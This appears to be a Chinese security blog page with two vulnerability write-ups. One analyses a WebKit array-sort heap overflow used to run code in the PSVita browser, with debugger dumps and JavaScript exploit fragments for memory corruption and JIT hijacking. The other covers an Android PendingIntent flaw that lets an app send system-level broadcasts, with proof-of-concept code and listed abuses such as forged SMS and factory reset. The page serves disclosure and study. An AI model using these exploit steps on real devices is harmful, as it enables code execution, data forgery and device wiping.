Retme的未来道具研究所

世界線の収束には、逆らえない

太久没冒泡出来炸一炸。。春节前夕玩过一点这个,因为只是笔记,比较凌乱 --->


vitasploit 是PSVita 上的RCE framework,使用这个框架可以在PSV的浏览器进程域中执行代码,系统版本要求是 <3.18。个人觉得这个框架非常棒,github的地址是 https://github.com/Hykem/vitasploit

当然这个框架用的漏洞比较老,因为PSV 之前webkit一直没怎么升级过,用的是CVE-2012-3748,这个洞已经在iOS上有公开的exploit。事实上这个漏洞在PSVita/Wii/Kindle/PS4 等设备的特定版本上依旧存在。


图为在PSVita TV上通过浏览器执行代码。4月份vitasploit更新之后已经可以做trinity-like syscall fuzzing了

春节时因为想要分析vitasploit,就顺便看了下这个洞,浏览器不是很懂,纯粹笔记。


在vita里面调试浏览器漏洞不太现实。最好还是在PC上调,我是在windows上调试的。由于需要的webkit版本很老,mac上编译调试的话需要雪豹,我实在找不到一个可以用雪豹的机器了。。。。Windows上可以下载现成的pdb符号进行调试,要方便很多。


首先在这里下载safari的pdb符号


http://builds.nightly.webkit.org/files/trunk/win/WebKit-SVN-r115198.zip


这里下载相应版本的safari  对应4.0.4



然后这里下载source code
cd JavaScriptCore/
svn update -r115198

最后挂上WINDBG。PS: 一开始选的r97675,但bug比较厉害,迁移到r115198上调试比较好


接下来就是一些分析过程了

=============================================================


1.漏洞

漏洞出现在js array排序方法中,在JS中调用somearray.sort(function_ptr)来为数组排序
function_ptr是调用者提供的比较函数,


void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)
{
     ...

    // FIXME: If the compare function modifies the array, the vector, map, etc. could be modified
    // right out from under us while we're building the tree here.

    unsigned numDefined = 0;
    unsigned numUndefined = 0;

    // Iterate over the array, ignoring missing values, counting undefined ones, and inserting all other ones into the tree.
    for (; numDefined < usedVectorLength; ++numDefined) {
        JSValue v = m_storage->m_vector[numDefined].get();
        if (!v || v.isUndefined())
            break;
        tree.abstractor().m_nodes[numDefined].value = v;
        tree.insert(numDefined);//这里调用了我们定义的compareFunction
                                //在这个函数中我们调用了JSArray.shift()
    }
     ...

    // FIXME: If the compare function changed the length of the array, the following might be
    // modifying the vector incorrectly.

    // Copy the values back into m_storage.
    // compareFunction已经将以一些元素移除,m_storage->m_vector的大小已经缩短,
    //     再去写m_storage->m_vector[i]就构成了堆溢出
    AVLTree<AVLTreeAbstractorForArrayCompare, 44>::Iterator iter;
    iter.start_iter_least(tree);
    JSGlobalData& globalData = exec->globalData();
    for (unsigned i = 0; i < numDefined; ++i) {
        m_storage->m_vector[i].set(globalData, this, tree.abstractor().m_nodes[*iter].value);
        ++iter;
    }
     ...
}


1+ 利用思路


0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
WebKit!WebCore::JSUint32Array
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x0f9c1860 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f0e0000 baseExternalStorageCapacity : 0x905a4d
   =0f0e0000 s_info           : JSC::ClassInfo
   =0f0e0000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =0f9a8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : 0x7fdbc300 WTF::ArrayBufferView
   =0f0e0000 StructureFlags   : 0x905a4d
   =0f9c1860 s_info           : JSC::ClassInfo
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x038 m_storageLength  : 0n8
   +0x03c m_storage        : 0x7fdbc320 Void
   =0f0e0000 StructureFlags   : 0x905a4d


JSUint32Array.m_inlineStorage是一段JS可控的内存,用来装载属性。利用这段内存来构造一个GetterSetter结构体。
接着利用漏洞篡改JSUint32Array.m_impl为GetterSetter.m_getter,这是一个JSC::JSFunction类型,,将JSUint32Array.m_storageLength设置的极大,以达到任意内存写的目的
把JSC::JSFunction.m_propertyStorage  作为了 JSUint32Array.m_impl.m_baseAddress  即u32[0]的基地址
然后再来修改JSC::JSFunction的JIT地址和shellcode,最后触发shellcode执行


2.JSArray 内存布局分析

JSArray的定义是ArrayStorage



    struct ArrayStorage {
        unsigned m_length; // The "length" property on the array
        unsigned m_numValuesInVector;
        void* m_allocBase; // Pointer to base address returned by malloc().  Keeping this pointer does eliminate false positives from the leak detector.
#if CHECK_ARRAY_CONSISTENCY
        // Needs to be a uintptr_t for alignment purposes.
        uintptr_t m_initializationIndex;
        uintptr_t m_inCompactInitialization;
#else
        uintptr_t m_padding;
#endif
        WriteBarrier<Unknown> m_vector[1];


从code可以推测出 JSArray的布局 |m_length|m_numValuesInVector|m_allocBase|m_padding or ..|m_vector[len]|


0:000> dq 0x02460290
02460290  00000005`00000005 fffffffa`02460290
024602a0  ffffffff`00000000 ffffffff`00000001
024602b0  ffffffff`00000002 ffffffff`00000003
024602c0  fffffffb`0224fa00 00000005`00000005
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004

JSValue如果是一个int,那么直接放到JSValue里面,前面4位是0xffff,也就是说只能保存2^48

如果JSValue代表的是一个对象,比如Uint32Array,那么保存的是指针



3.利用
Part 1:泄露出u32 address



    a1.sort() -> compare(3,4) -> a1.shift()

//===========================windbg info====================================
//===========================windbg info====================================  
//     call a1.shift(), length = 4
0:000> dq 0x02460290
02460290  00000004`00000004 00000004`00000004
024602a0  fffffffa`02460290 ffffffff`00000001
024602b0  ffffffff`00000002 ffffffff`00000003
024602c0  fffffffb`0224fa00 00000005`00000005
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300

     -> return to a1.sort()
0:000> dq 0x02460290
02460290  00000004`00000004 00000005`00000004
024602a0  fffffffa`02460290 ffffffff`00000000
024602b0  ffffffff`00000001 ffffffff`00000002
024602c0  ffffffff`00000003 fffffffb`0224fa00 <- corrupted a2.length = u32 address
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300  

JSArray a1      : |length = 4|x|x|x|1|2|3|length = u32 address
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 4
   +0x004 m_numValuesInVector : 4
   +0x008 m_allocBase      : 0x00000004 Void
   +0x00c m_padding        : 5
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

JSArray a2 : |length = u32 address |x|x|x|0|1|2|3|4|
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 0x224fa00
   +0x004 m_numValuesInVector : 0xfffffffb
   +0x008 m_allocBase      : 0x024602c8 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

//===========================windbg info  END====================================
//===========================windbg info  END====================================

Part 2:
2.1    a1.sort() -> compare(0,1)  -> a1.length = 5;a1.shift();a2.length = a2.length+ 0x28

//===========================windbg info====================================
//===========================windbg info====================================

JSArray a1      : |length = 4|x|x|x|1|2|3|length = u32 address + 0x28|
0:000> dq 0x02460290
02460290  00000004`00000004 00000004`00000004
024602a0  00000004`00000004 fffffffa`02460290     <- 024602a0 = base of JSArray a1
024602b0  ffffffff`00000001 ffffffff`00000002
024602c0  ffffffff`00000003 fffffffb`0224fa28     <- corrupted a2.length = u32 address + 0x28
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300  

JSArray a2      : |length = u32 address + 0x28|x|x|x|0|1|2|3|4|
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 0x224fa28
   +0x004 m_numValuesInVector : 0xfffffffb
   +0x008 m_allocBase      : 0x024602c8 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

2.2    ->compare(x,3) -> a1.unshift(0)

    |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|x|x|x|0|1|2|3|4|

0:000> dq 0x02460290
02460290  00000004`00000004 00000005`00000005
024602a0  fffffffa`02460290 ffffffff`00000000
024602b0  ffffffff`00000001 ffffffff`00000002
024602c0  ffffffff`00000003 fffffffb`0224fa28
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300

JSArray a1      : |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 5
   +0x004 m_numValuesInVector : 5
   +0x008 m_allocBase      : 0x02460290 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

JSArray a2      : |length = u32 address + 0x28|x|x|x|0|1|2|3|4
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 0x224fa28
   +0x004 m_numValuesInVector : 0xfffffffb
   +0x008 m_allocBase      : 0x024602c8 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

2.3    ->return to a1.sort()

    |length = 5|x|x|x|0|1|3|length = u32 address + 0x28|length = u32 address + 0x28|x|x|x|0|1|2|3|4|

0:000> dq 0x02460290
02460290  00000004`00000004 00000004`00000005
024602a0  fffffffa`02460290 ffffffff`00000000
024602b0  ffffffff`00000001 ffffffff`00000003   <-- 不要过于纠结为啥这里是 01 | 03 | ... 中间少了02
024602c0  fffffffb`0224fa28 fffffffb`0224fa28
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300



不要过于纠结为啥这里是 01 | 03 | ... 中间少了02:非要说的话,是因为 m_storage->m_vector的位置因为comparFunc的调整,向后错了一位。



   for (; numDefined < usedVectorLength; ++numDefined) {
        JSValue v = m_storage->m_vector[numDefined].get();
        if (!v || v.isUndefined())
            break;
        tree.abstractor().m_nodes[numDefined].value = v;
        tree.insert(numDefined);
    }

//===========================windbg info  END====================================
//===========================windbg info  END====================================

Part 3: overwriting ((JSUint32Array)u32).m_impl pointer

绕了这么大弯子,其实也就是为了泄露出 u32的地址

3.1          改写mo.prop0 = ((JSUint32Array)u32).m_impl - 0x8




0:000> dt WebCore::JSUint32Array
WebKit!WebCore::JSUint32Array
   =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
   +0x000 m_classInfo      : Ptr32 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f0e0000 baseExternalStorageCapacity : Uint4B
   =0f0e0000 s_info           : JSC::ClassInfo
   =0f0e0000 StructureFlags   : Uint4B
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =0f9a8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : Ptr32 WTF::ArrayBufferView                 
   =0f0e0000 StructureFlags   : Uint4B
   =0f9c1860 s_info           : JSC::ClassInfo
   =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
   +0x038 m_storageLength  : Int4B
   +0x03c m_storage        : Ptr32 Void
   =0f0e0000 StructureFlags   : Uint4B

总之现在a1[3]是JSUint32Array + 0x28 = 是JSUint32Array.m_impl - 8,

接下来构造一个a3,后面紧跟着一个mo,他的property storage紧跟在a3后面




var a3 = [0,1,2,a1[3]];
var mo = {};
var pd = { get: function(){return 0;}, set: function(arg){return 0;}, enumerable:true, configurable:true }  

        // allocate mo's property storage right after a3's buffer
        Object.defineProperty(mo, "prop0", pd);
        for(var i=1; i < 7; i++){
            mo["prop"+i] = i;
        }

mem layout :

|length = 4|x|x|x|0|1|2|u32 address + 0x28 | pd_ptr | 1 | 2 | 3 | 4 | 5 | 6 |

0:000> dq 0x02e103e0
02e103e0  00000004`00000004 fffffffa`02e103e0
02e103f0  ffffffff`00000000 ffffffff`00000001
02e10400  ffffffff`00000002 fffffffb`034deda8
02e10410  fffffffb`0386ffc0 ffffffff`00000001
02e10420  ffffffff`00000002 ffffffff`00000003
02e10430  ffffffff`00000004 ffffffff`00000005
02e10440  ffffffff`00000006 fffffffa`00000000
02e10450  fffffffa`00000000 fffffffa`00000000

shift & sort: u32 address + 0x28 = pd_ptr

0:000> dq 0x02e103e0
02e103e0  00000003`00000003 00000003`00000003
02e103f0  fffffffa`02e103e0 ffffffff`00000000
02e10400  ffffffff`00000001 ffffffff`00000002
02e10410  fffffffb`034deda8 ffffffff`00000001
02e10420  ffffffff`00000002 ffffffff`00000003
02e10430  ffffffff`00000004 ffffffff`00000005
02e10440  ffffffff`00000006 fffffffa`00000000
02e10450  fffffffa`00000000 fffffffa`00000000

|length = 4|x|x|x|0|1|2|u32 address + 0x28 | mo.prop0 = u32.m_impl | mo.prop1 = 1 | 2 | 3 | 4 | 5 | 6 |

0:000> dq 0x02e103e8
02e103e8  00000004`00000003 fffffffa`02e103e0
02e103f8  ffffffff`00000000 ffffffff`00000001
02e10408  ffffffff`00000002 fffffffb`034deda8
02e10418  ffffffff`00000001 ffffffff`00000002
02e10428  ffffffff`00000003 ffffffff`00000004
02e10438  ffffffff`00000005 ffffffff`00000006
02e10448  fffffffa`00000000 fffffffa`00000000
02e10458  fffffffa`00000000 fffffffa`00000000

034deda8 是指JSUint32Array.m_impl - 0x8

0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
WebKit!WebCore::JSUint32Array
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x0f9c1860 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f0e0000 baseExternalStorageCapacity : 0x905a4d
   =0f0e0000 s_info           : JSC::ClassInfo
   =0f0e0000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =0f9a8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : 0x7fdbc300 WTF::ArrayBufferView
   =0f0e0000 StructureFlags   : 0x905a4d
   =0f9c1860 s_info           : JSC::ClassInfo
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x038 m_storageLength  : 0n8
   +0x03c m_storage        : 0x7fdbc320 Void
   =0f0e0000 StructureFlags   : 0x905a4d

JSUint32Array.m_impl
0:000> dt WTF::ArrayBufferView 0x7fdbc300
WebKit!WTF::ArrayBufferView
   +0x004 m_refCount       : 0n1
   +0x000 __VFN_table : 0x0f8acdf4
   +0x008 m_baseAddress    : 0x7fdbc320 Void
   +0x00c m_byteOffset     : 0
   +0x010 m_buffer         : WTF::RefPtr<WTF::ArrayBuffer>
   +0x014 m_prevView       : (null)
   +0x018 m_nextView       : (null)

3.2  现在webcore::jsuint32array的布局是这样的

0218e780  ->base

0218e790  property storage = 4*long (inlineStorage)

0218e7a8  JSUint32Array.m_impl



首先利用u32.property伪造GetterSetter的结构头部


// This is an internal value object which stores getter and setter functions
// for a property.
0:000> dt JSC::GetterSetter
JavaScriptCore!JSC::GetterSetter
   =51870000 TypedArrayStorageType : JSC::TypedArrayType
   +0x000 m_classInfo      : Ptr32 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =519bda68 s_info           : JSC::ClassInfo
   +0x008 m_getter         : JSC::WriteBarrier<JSC::JSObject>
   +0x00c m_setter         : JSC::WriteBarrier<JSC::JSObject>

         // construct the valid GetterSetter object
         u32.prop1 = 8;      // 8 = JSType.GetterSetterType
         u32.prop2 = 8;
         u32.prop3 = 8;      
         u32.prop4 = u2d(u32addr, u32addr+0x10); // ((GetterSetter)mo.prop0).m_structure  指向 JSUint32Array.m_inlineStorage

         // prepare JSFunction which will be refered by u32.m_impl
         var f = new Function(" return 876543210 + " + (_cnt++) + ";");
            f.prop2 = u2d(0x40000000,0x40000000); // a new value for u32.length
         f();

          //这里把 pd.get复写到了 u32.m_impl
            //f.prop2 = u2d(0x40000000,0x40000000)为何能改变u32的长度?(见下面)

         // overwrite u32.m_impl by the pd.get object
         pd.get = f;
         Object.defineProperty(mo, "prop0", pd);  

//现在被替换之后的     JSUint32Array 长这样
0:000> dt WebCore::JSUint32Array 0x0253dc80
WebKit!WebCore::JSUint32Array
   =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x100f1860 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f810000 baseExternalStorageCapacity : 0x905a4d
   =0f810000 s_info           : JSC::ClassInfo
   =0f810000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =100d8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : 0x0253d380 WTF::ArrayBufferView
   =0f810000 StructureFlags   : 0x905a4d
   =100f1860 s_info           : JSC::ClassInfo
   =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x038 m_storageLength  : 0n8
   +0x03c m_storage        : 0x7fe0e9a0 Void
   =0f810000 StructureFlags   : 0x905a4d
0:000> dd 0x0253d380                                    //WTF::ArrayBufferView  同时也是 GetterSetter.m_getter   JSC::JSFunction,
0253d380  018edd18 024a8880 0253d390 00000000
0253d390  028be440 fffffffb 40000000 40000000     //40000000 40000000就是f.prop2
0253d3a0  00000000 fffffffa 00000000 fffffffa
0253d3b0  02a9ef40 028be420 00000000 00000000
0253d3c0  018edd18 024ab9a0 0253d3d0 00000000
0253d3d0  028be4a0 fffffffb 00000002 ffffffff
0253d3e0  00000000 fffffffa 00000000 fffffffa
0253d3f0  0253d400 028bf420 00000000 00000000

0:000> dt JSC::jsfunction  0x0253d380
JavaScriptCore!JSC::JSFunction
   =017a0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x018edd18 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =017a0000 baseExternalStorageCapacity : 0x905a4d
   =018edee8 s_info           : JSC::ClassInfo
   =017a0000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =018edd18 s_info           : JSC::ClassInfo
   =017a0000 StructureFlags   : 0x905a4d
   +0x030 m_executable     : JSC::WriteBarrier<JSC::ExecutableBase>
   +0x034 m_scopeChain     : JSC::WriteBarrier<JSC::ScopeChainNode>

0:000> dt WTF::ArrayBufferView 0x0253d380
JavaScriptCore!WTF::ArrayBufferView
   +0x004 m_refCount       : 0n38439040
   +0x000 __VFN_table : 0x018edd18
   +0x008 m_baseAddress    : 0x0253d390 Void   //JSC::JSFunction.m_propertyStorage  作为了 JSUint32Array.m_impl.m_baseAddress  即u32[0]的基地址
   +0x00c m_byteOffset     : 0
   +0x010 m_buffer         : WTF::RefPtr<WTF::ArrayBuffer>
   +0x014 m_prevView       : 0xfffffffb WTF::ArrayBufferView
   +0x018 m_nextView       : 0x40000000 WTF::ArrayBufferView

0:000> dt WebKit!WTF::Uint32Array 0x0240de80
   +0x004 m_refCount       : 0n37594752
   +0x000 __VFN_table : 0x77eedd18
   +0x008 m_baseAddress    : 0x0240de90 Void
   +0x00c m_byteOffset     : 0
   +0x010 m_buffer         : WTF::RefPtr<WTF::ArrayBuffer>
   +0x014 m_prevView       : 0xfffffffb WTF::ArrayBufferView
   +0x018 m_nextView       : 0x40000000 WTF::ArrayBufferView
   +0x01c m_length         : 0x40000000 //f.prop2 = u2d(0x40000000,0x40000000)能改变u32的长度

          // delete corrupted property
          delete mo.prop0;

          // check results: u32.length is taken from f's internals
          logAdd("u32.length = 0x" + u32.length.toString(16));
          if (u32.length == u32len) { logAdd("error: 3"); return 3; }
          //logAdd("u32[] data:<br/>" + ArrayToString(u32,0,16)); // for RnD

Part 4: getting the JIT-code memory address

          // find out the memory address of u32[0] (ArrayBufferView.m_baseAddress)
          var u32base = u32[0x40000000-2];
          logAdd("u32 address = 0x" + u32addr.toString(16));
          logAdd("u32 base = 0x" + u32base.toString(16));  
          //
          /*   计算出u32base
               JSUint32Array.getByIndex()  实现如下
                    u32base = *(JSUint32Array->m_impl->m_baseAddress + index*4)
                    index = 0x3ffffffe

               so
                    u32base = *(JSUint32Array->m_impl->m_baseAddress + 0xFFFFFFF8)  正好取到了 *JSC::JSFunction.m_propertyStorage = JSC::JSFunction.m_inlineStorage 作为 base

          */

          // declare aux functions                  
          var getU32 = function(addr) {
               return u32[(addr - u32base) >>> 2];   
          }
          var setU32 = function(addr,val) {
               return u32[(addr - u32base) >>> 2] = val;   
          }

          // read ((JSFunction)f).m_executable;
          var jitObj = u32[8];          //JSC::JSFunction.m_inlineStorage + 0x20 = JSC::JSFunction.m_executable
          logAdd("JIT object = 0x" + jitObj.toString(16));

          // read ExecutableBase.m_jitCodeForCall
          jitObj += 0x10;
          var jitAddr = getU32(jitObj);
          logAdd("JIT address = 0x" + jitAddr.toString(16));
          if (!jitAddr) { logAdd("error: 4"); return 4; }



后面就没啥了,改写JIT指针执行rop。vitaslpoit的最后这里的处理和iOS有些不同,没有覆盖JIT而是覆盖的vTable 。


https://github.com/retme7/CVE-2014-7911_poc


https://github.com/retme7/CVE-2014-4322_poc


大过年的 :)


原创内容,转载请注明来源 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html



Lolipop源码已经放出有些日子了,我发现google5.0上修复了一个高危漏洞,利用该漏洞可以发送任意广播:不仅可以发送系统保护级别的广播、还可以无视receiverandroid:exported=falseandroid:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本,所以就称它是broadAnywhere吧。这个漏洞在5.0以下的系统上通杀,影响还是很大的。

 

一、先看补丁



通过补丁[2]可以看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。这回这个漏洞出现在Settings添加账户的时候。使用AccountManager添加账户的流程如下图:





关于AccountManagerService的流程机制请参考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。


二、如何利用



本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。在传递的AddAccountOptions参数时加入了一个PendingIntent,其intent类型是Broadcast。注意这个PendingIntentSettings创建的,拥有system权限。

     private void addAccount(String accountType) {
         Bundle addAccountOptions = new Bundle();
         mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
         addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
         addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
         AccountManager.get(this).addAccount(


AppB会在step3的时候取到了AddAccountOptions参数,从中获得了这个PendingIntent,并且可以利用它以system的身份发送广播,示例代码如下:




PendingIntent pending_intent = (PendingIntent)options.get("pendingIntent");
intent.setAction("android.intent.action.BOOT_COMPLETED");

try {
         pending_intent.send(getGlobalApplicationContext(),0,intent,null,null,null);
} catch (CanceledException e) {
         e.printStackTrace();
}

System身份可以发送系统级的广播protected-broadcast,同时还可以将广播发送给未导出的receiverandroid:exported=false)和有权限限制的receiver

三、原理分析

回过头再看一下Settings是如何创建PendingIntent的:


mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。

 

因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候可以随意设置Intent中的大部分内容。这是由于在系统源码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,允许调用者填充Intent的值。

 

PendingIntentRecord.java

196    int sendInner(int code, Intent intent, String resolvedType,
197            IIntentReceiver finishedReceiver, String requiredPermission,
198            IBinder resultTo, String resultWho, int requestCode,
199            int flagsMask, int flagsValues, Bundle options) {
200        synchronized(owner) {
201            if (!canceled) {
202                sent = true;
203                if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
204                    owner.cancelIntentSenderLocked(this, true);
205                    canceled = true;
206                }
207                Intent finalIntent = key.requestIntent != null
208                        ? new Intent(key.requestIntent) : new Intent();
209                if (intent != null) {
210                    int changes = finalIntent.fillIn(intent, key.flags);

四、漏洞危害和应用场景

这个漏洞在安卓5.0以下通杀,可以认为该漏洞影响目前99.9%的安卓手机。

 

利用这个漏洞可以攻击绝大多数broadcast receiver。由于Intent.fillIn这个函数要求component必须显式填充[3],我们不能发送指定componentintent的。但是可以通过指定intentaction已经可以攻击大多数receiver了。

 

所以这个漏洞也是有很大利用空间的。下面举几个例子

 

1.       发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。

2.       4.4上发送android.provider.Telephony.SMS_DELIVER可以伪造接收短信。

3.       发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。

 

上述提到的几种利用方法已经开源:

https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824


伪造短信演示视频:




对于厂商定制固件来说,还可能有更多的利用方法。通过搜索系统应用的receiver,可以找到更多可攻击的receiver,搜索方法可以参考以下代码(python):


def get_receiver(self):

        xmltag = self.manifest.getElementsByTagName('protected-broadcast')
        if len(xmltag) != 0:    

                logByThread( self.__apk_obj.get_filename())
                logByThread( 'protected-broadcast')
                for x in xmltag: 
                        logByThread(  x.getAttribute("android:name"))

        xmltag = self.manifest.getElementsByTagName('receiver')
        if len(xmltag) != 0:
                logByThread( self.__apk_obj.get_filename())
                logByThread( 'reciever-with-permission')
                for x in xmltag: 
                        if x.hasAttribute("android:permission") or (x.hasAttribute("android:exported") and x.getAttribute("android:exported").find("false")!=-1):
                                if len(x.getElementsByTagName("intent-filter")) !=0:
                                        logByThread( x.toxml())
        return



五、漏洞修复

通过注释知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。这里其实这没必要用PendingIntent,不过出于历史原因,这个接口还得继续支持下去。

所以这个漏洞的修复就只是简单地将PendingIntent所关联的Intent中的componentactionaction中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()intent的值进行二次填充了。

+        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
+        identityIntent.setAction(SHOULD_NOT_RESOLVE);
+        identityIntent.addCategory(SHOULD_NOT_RESOLVE);

六 安全建议

开发者:

    尽量不要使用receiver来作为敏感功能的调用接口,即便这个receiver是未导出、有权限控制的。

手机厂商:

    尽快将固件升级到Android Lolipop。或者参照链接[2]推送安全更新补丁。

 

[1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html

[2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0

[3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516


11-26 更新:

Baidu X-team 发现的这个漏洞,CVE 编号是CVE-2014-8609:

http://seclists.org/fulldisclosure/2014/Nov/81

http://xteam.baidu.com/?p=77